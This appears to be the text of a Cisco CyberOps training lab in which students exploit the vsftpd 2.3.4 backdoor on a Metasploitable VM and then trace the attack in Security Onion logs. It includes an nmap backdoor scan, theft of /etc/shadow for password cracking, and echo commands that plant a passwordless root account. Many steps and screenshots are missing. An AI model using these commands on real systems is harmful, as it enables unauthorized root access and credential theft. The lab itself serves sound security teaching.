12.4.1.2 Lab - Isolate Compromised Host Using 5-Tuple
12.4.1.2 Lab - Isolate Compromised Host Using 5-Tuple
Topology
ma
Objectives
In this lab, you will review logs during an exploitation of a documented vulnerability to determine the
compromised hosts and file.
Part 1: Prepare the Virtual Environment
Part 2: Reconnaissance
Part 3: Exploitation
Part 4: Infiltration
Part 5: Review the Logs
Background / Scenario
The 5-tuple is used by IT administrators to identify requirements for creating an operational and secure
network environment. The components of the 5-tuple include a source IP address and port number,
destination IP address and port number, and the protocol in use.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 1 of 18 www.netacad.com
Lab – Isolated Compromised Host Using 5-Tuple
In this lab, you will exploit a vulnerable server using known exploits. You will also review the logs to determine
the compromised hosts and file.
Required Resources
Host computer with at least 8 GB of RAM and 35 GB of free disk space
Latest version of Oracle VirtualBox
Internet connection
Four virtual machines:
c. Launch and log into CyberOps Workstation, Kali, Metasploitable, and Security Onion virtual machines.
d. In the CyberOps Workstation VM, open a terminal and configure the network by executing the
configure_as_static.sh script.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 2 of 18 www.netacad.com
Lab – Isolated Compromised Host Using 5-Tuple
Because the script requires super-user privileges, provide the password for the user analyst.
[analyst@secOps~]$ sudo ./lab.support.files/scripts/configure_as_static.sh
[sudo] password for analyst:
Configuring the NIC as:
IP: 192.168.0.11/24
GW: 192.168.0.1
IP Configuration successful.
[analyst@secOps ~]$
e. In the Security Onion VM, right-click the Desktop > Open Terminal Here. Enter the sudo service nsm
status command to verify that all the servers and sensors are ready. This process could take a few
moments. If some services report FAIL, repeat the command as necessary until all the statuses are OK
before moving on to the next part.
analyst@SecOnion:~/Desktop$ sudo service nsm status
Status: securityonion
* sguil server [ OK ]
Status: HIDS
* ossec_agent (sguil) [ OK ]
Status: Bro
Name Type Host Status Pid Started
manager manager localhost running 5577 26 Jun 10:04:27
proxy proxy localhost running 5772 26 Jun 10:04:29
seconion-eth0-1 worker localhost running 6245 26 Jun 10:04:33
seconion-eth1-1 worker localhost running 6247 26 Jun 10:04:33
seconion-eth2-1 worker localhost running 6246 26 Jun 10:04:33
Status: seconion-eth0
* netsniff-ng (full packet data) [ OK ]
* pcap_agent (sguil) [ OK ]
* snort_agent-1 (sguil) [ OK ]
* snort-1 (alert data) [ OK ]
* barnyard2-1 (spooler, unified2 format) [ OK ]
<output omitted>
Part 2: Reconnaissance
In this part, you will use nmap to determine if the Metasploitable VM has a vulnerability associated with
vsftpd version 2.3.4.
a. In the Security Onion VM, enter date to display the date and time.
analyst@SecOnion:~/Desktop$ date
Record your date and time.
____________________________________________________________________________________
b. In the Kali VM, right-click the Desktop and select Open Terminal.
c. Using nmap options, you will use a script to test for an FTP vulnerability on the Metasploitable VM at
209.165.200.235. Enter the following command:
root@kali:~# nmap --script ftp-vsftpd-backdoor 209.165.200.235 –-reason >
ftpd.txt
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 3 of 18 www.netacad.com
Lab – Isolated Compromised Host Using 5-Tuple
The results are redirected and saved to the text file ftpd.txt. This process will take a few moments.
d. When the prompt returns, open the text file containing the nmap results.
root@kali:~# cat ftpd.txt
The result lists the vsftpd vulnerability and other open ports that are detected by nmap on the
Metasploitable VM. In this lab, you will exploit the vulnerability with port 21.
Starting Nmap 7.40 ( https://nmap.org ) at 2017-07-11 11:34 EDT
Nmap scan report for 209.165.200.235
Host is up, received echo-reply ttl 63 (0.0011s latency).
Not shown: 977 closed ports
Reason: 977 resets
PORT STATE SERVICE REASON
21/tcp open ftp syn-ack ttl 63
| ftp-vsftpd-backdoor:
| VULNERABLE:
| vsFTPd version 2.3.4 backdoor
|tate: VULNERABLE (Exploitable)
|IDs: OSVDB:73573 CVE:CVE-2011-2523
|vsFTPd version 2.3.4 backdoor, this was reported on 2011-07-04.
|Disclosure date: 2011-07-03
|Exploit results:
|Shell command: id
|Results: uid=0(root) gid=0(root)
|References:
|http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html
|https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-2523
|http://osvdb.org/73573
<output omitted>
Part 3: Exploitation
Now you have determined that you could gain root access to the Metasploitable VM, you will exploit the vsftp
vulnerability to gain full control of the Metasploitable VM. You will compromise the /etc/shadow file so you
may gain access to other hosts in the network.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 4 of 18 www.netacad.com
Lab – Isolated Compromised Host Using 5-Tuple
Matching Modules
================
Exploit target:
Id Name-- ----
0 Automatic
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 5 of 18 www.netacad.com
Lab – Isolated Compromised Host Using 5-Tuple
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 6 of 18 www.netacad.com
Lab – Isolated Compromised Host Using 5-Tuple
g. Open a new terminal in the Kali VM, and start the nano text editor. Enter nano /root/shadow.txt at the
prompt.
root@kali:~# nano /root/shadow.txt
h. Right-click the blank space in nano and select Paste. After you have pasted the content, remove any
blank lines at the bottom, if necessary. Enter Ctl-X to save and exit nano. Press y when asked to save
the file and accept the filename shadow.txt.
This saved /root/shadow.txt file will be used in a later step with John the Ripper to crack the passwords
of some of the login names so you can access the system remotely via SSH.
i. In the same terminal, enter the cat command and grep to display only the details for the root user.
root@kali@~# cat /root/shadow.txt | grep root
root:$1$/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid.:14747:0:99999:7:::
Notice that the colons (:) separate each line into 9 fields. Using the root user account as an example, root
is the login name and $1$/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid. is the encrypted password. The next 6
fields define the configurations for the password, such as date of last change, minimum and maximum
password age, and password expiration date. The last field is reserved for future use.
To learn more about the /etc/shadow file, enter man shadow at a terminal prompt.
j. Return to the Metasploit Framework terminal on the Kali VM. You will add a new user myroot to
Metasploitable VM. This user will have the same password configurations as root.
When creating the new user, you will use the same 9 fields as the root user; except you will delete the
encrypted password associated with the root user and leave the password field empty. When the
password field is empty, no password is needed to log in as the user myroot.
The echo command will append a new line to add the new user myroot to the /etc/shadow file.
Note: Make sure that there are two greater than signs (>) or you will overwrite the current /etc/shadow
file.
echo "myroot::14747:0:99999:7:::" >> /etc/shadow
k. Verify that you added the new user myroot to /etc/shadow.
cat /etc/shadow
<output omitted>
myroot::14747:0:99999:7:::
Why was it necessary to copy the content of /etc/shadow file to a new text file on Kali VM?
Hint: What would happen if you enter the cat /etc/shadow > /root/shadow.txt in the Metasploit
Framework console?
____________________________________________________________________________________
l. To allow myroot to login with elevated privileges, you will add the user myroot with the same user ID
number (UID), user's group ID number (GID), user description, user home directory, and login shell as the
root to the /etc/passwd file. The colons (:) separate the fields, and the x in the second field represents
the password for the user. The encrypted password can be found in the /etc/shadow file for the same
user.
Return to the Metasploitable remote connection terminal window and enter the cat command to see the
information for root.
cat /etc/passwd | grep root
root:x:0:0:root:/root:/bin/bash
m. Use the following echo command to append the settings for myroot to /etc/password.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 7 of 18 www.netacad.com
Lab – Isolated Compromised Host Using 5-Tuple
Note: Make sure that there are two greater than signs (>) or you will overwrite the current /etc/passwd
file.
echo "myroot:x:0:0:root:/root:/bin/bash" >> /etc/passwd
To learn more about the /etc/passwd file, enter man 5 passwd at a terminal prompt.
n. Verify that you added the new user myroot to /etc/passwd.
cat /etc/passwd
<output omitted>
myroot:x:0:0:root:/root:/bin/bash
With root access, the user myroot has complete control of Metasploitable VM.
o. Enter exit when done.
exit
[*] 209.165.200.235 - Command shell session 1 closed. Reason: Died from EOFError
Part 4: Infiltration
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 8 of 18 www.netacad.com
Lab – Isolated Compromised Host Using 5-Tuple
b. Verify that you have root access to Metasploitable. Enter the su -l myroot at the prompt. The option is
the lower case letter L, not the number one. Notice that the prompt has changed from
analyst@metasploitable to root@metasploitable.
analyst@metasploitable:~$ su -l myroot
root@metasploitable:~#
c. Display the /etc/shadow file.
root@metasploitable:~# cat /etc/shadow
d. Enter exit at the prompt to return to the access privileges of the user analyst.
e. Now display the /etc/shadow file as analyst.
analyst@metasploitable:~$ cat /etc/shadow
Why did you receive an error message? Record the message and explain.
____________________________________________________________________________________
____________________________________________________________________________________
____________________________________________________________________________________
____________________________________________________________________________________
f. Enter ifconfig to list all the network interfaces on Metasploitable.
analyst@metasploitable:~$ ifconfig
eth0 Link encap:Ethernet HWaddr 08:00:27:ab:84:07
inet addr:209.165.200.235 Bcast:209.165.200.255 Mask:255.255.255.224
inet6 addr: fe80::a00:27ff:feab:8407/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:1610 errors:0 dropped:0 overruns:0 frame:0
TX packets:1550 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:117030 (114.2 KB) TX bytes:123570 (120.6 KB)
Interrupt:10 Base address:0xd020
<output omitted>
g. Enter ip route to determine the default gateway for this network.
analyst@metasploitable:~$ ip route
209.165.200.224/27 dev eth0 proto kernel scope link src 209.165.200.235
default via 209.165.200.226 dev eth0 metric 100
What is the default gateway?
____________________________________________________________________________________
h. In the same terminal window, establish another SSH session to the Security Onion VM at
209.165.200.226 (eth1 interface) as the user analyst. Enter yes to accept the RSA digital signature when
connecting for the first time. It could take a few moments to connect. Use the password cyberops when
prompted.
analyst@metasploitable:~$ ssh analyst@209.165.200.226
i. Enter ifconfig to view the list of network interfaces.
analyst@SecOnion:~$ ifconfig
eth0 Link encap:Ethernet HWaddr 08:00:27:c3:cd:8c
inet addr:192.168.0.1 Bcast:192.168.0.255 Mask:255.255.255.0
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 9 of 18 www.netacad.com
Lab – Isolated Compromised Host Using 5-Tuple
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 10 of 18 www.netacad.com
Lab – Isolated Compromised Host Using 5-Tuple
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 11 of 18 www.netacad.com
Lab – Isolated Compromised Host Using 5-Tuple
d. Select the returned root message that is associated with Senor seconion-eth1-1 for further analysis. In
the figure below, Alert ID 5.2568 and its correlated event are used. However, your Alert ID will be most
likely be a different number.
e. Right-click the number under the CNT heading to select View Correlated Events.
f. In the new tab, right-click the Alert ID for one of the GPL ATTACK_RESPONSE id check returned root
alerts and select Transcript. The Alert ID 5.2570 is used in this example.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 12 of 18 www.netacad.com
Lab – Isolated Compromised Host Using 5-Tuple
g. Review the transcripts for all the alerts. The latest alert in the tab is likely to display the transactions
between the Kali (threat actor) and Metasploitable (target) during the attack.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 13 of 18 www.netacad.com
Lab – Isolated Compromised Host Using 5-Tuple
b. To view all packets assembled in a TCP conversation, right-click any packet and select Follow TCP
Stream.
What did you observe? What do the text colors red and blue indicate?
____________________________________________________________________________________
____________________________________________________________________________________
c. Exit the TCP stream window. Close Wireshark when you are done reviewing the information provided by
Wireshark.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 14 of 18 www.netacad.com
Lab – Isolated Compromised Host Using 5-Tuple
b. Click bro_notice.
c. The result indicates that 209.165.201.17 was performing a port scan on 209.165.200.235, the
Metasploitable VM. The attacker probably found vulnerabilities on the Metasploitable VM to gain access.
d. If an attacker has compromised Metasploitable, you want to determine the exploit that was used and what
was accessed by the attacker.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 15 of 18 www.netacad.com
Lab – Isolated Compromised Host Using 5-Tuple
b. Right-click the number under the CNT heading and select View Correlated Events to view all the related
events. Select the Alert ID that starts with 5. This alert gathered the information from sensor on seconion-
eth1-1 interface.
c. In the new tab with all the correlated events, right-click the Alert ID and select Transcript to view each
alert in more detail. Alert ID 5.2569 is used as an example. The latest alert is likely to display the TCP
transmission between the attacker and victim.
d. You can also right-click the Alert ID and select Wireshark to review and save the pcap file and TCP
stream.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 16 of 18 www.netacad.com
Lab – Isolated Compromised Host Using 5-Tuple
c. Which file was transferred via FTP to 209.165.200.235? Whose account was used to transfer the file?
____________________________________________________________________________________
d. Click info to view the transactions in the last record. The reply_msg field indicates that this is the last
entry for the transfer of the confidential.txt file. Click Plugin > getPcap. Enter username analyst and
password cyberops when prompted. Click Submit if necessary. CapMe is a web interface that allows
you to get a pcap transcript and download the pcap.
The pcap transcript is rendered using tcpflow, and this page also provides the link to access the pcap file.
e. To determine the content of the file that was compromised, open ELSA by double clicking the icon on the
Desktop to open a new tab and perform a new search.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 17 of 18 www.netacad.com
Lab – Isolated Compromised Host Using 5-Tuple
f. Expand FTP and click FTP Data. Click one of the Info links and select getPcap from the dropdown menu
to determine the content of the stolen file.
g. The result displays the content of the file named confidential.txt that was transferred to the FTP server.
Step 6: Clean up
Shut down all VMs when finished.
Reflection
In this lab, you have used a vulnerability to gain access to unauthorized information and reviewed the logs as
a cybersecurity analyst. Now summarize your findings.
_______________________________________________________________________________________
_______________________________________________________________________________________
_______________________________________________________________________________________
_______________________________________________________________________________________
_______________________________________________________________________________________
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 18 of 18 www.netacad.com